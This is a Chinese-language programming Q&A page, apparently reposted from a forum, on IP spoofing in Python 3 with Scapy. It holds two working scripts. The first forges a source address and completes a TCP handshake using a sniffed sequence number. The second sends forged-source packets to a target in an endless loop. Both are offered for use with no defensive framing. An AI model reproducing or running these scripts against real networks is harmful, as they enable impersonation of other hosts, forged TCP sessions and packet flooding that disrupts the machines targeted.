编程语言
首页 > 编程语言> > python 3中的IP欺骗

python 3中的IP欺骗

作者:互联网

是否可以与另一个IP源一起发送欺骗性数据包?
我在网上搜索后发现,我需要使用Scapy库.我发现了这个脚本:

import sys
from scapy.all import *

if len(sys.argv) != 4:
    print ("Usage: ./spoof.py <target> <spoofed_ip> <port>")
    sys.exit(1)

target = sys.argv[1]
spoofed_ip = sys.argv[2]
port = int(sys.argv[3])

p1=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='S')
send(p1)
print ("Okay, SYN sent. Enter the sniffed sequence number now: ")

seq=sys.stdin.readline()
print ("Okay, using sequence number " + seq)

seq=int(seq[:-1])
p2=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='A',
                                     ack=seq+1,seq=1)
send(p2)

print ("Okay, final ACK sent. Check netstat on your target :-)")

但是我不明白“现在输入嗅探的序列号”是什么意思.

另外,是否可以避免使用scapy,而是使用套接字库?如果是,您能告诉我方法吗?

谢谢!我是新手

解决方法:

我自己用scapy库解决了:

from scapy.all import *

A = "192.168.1.254" # spoofed source IP address
B = "192.168.1.105" # destination IP address
C = RandShort() # source port
D = 80 # destination port
payload = "yada yada yada" # packet payload

while True:
    spoofed_packet = IP(src=A, dst=B) / TCP(sport=C, dport=D) / payload
    send(spoofed_packet)

标签:spoofing,python-3-x,ip,python
来源: https://codeday.me/bug/20191118/2027044.html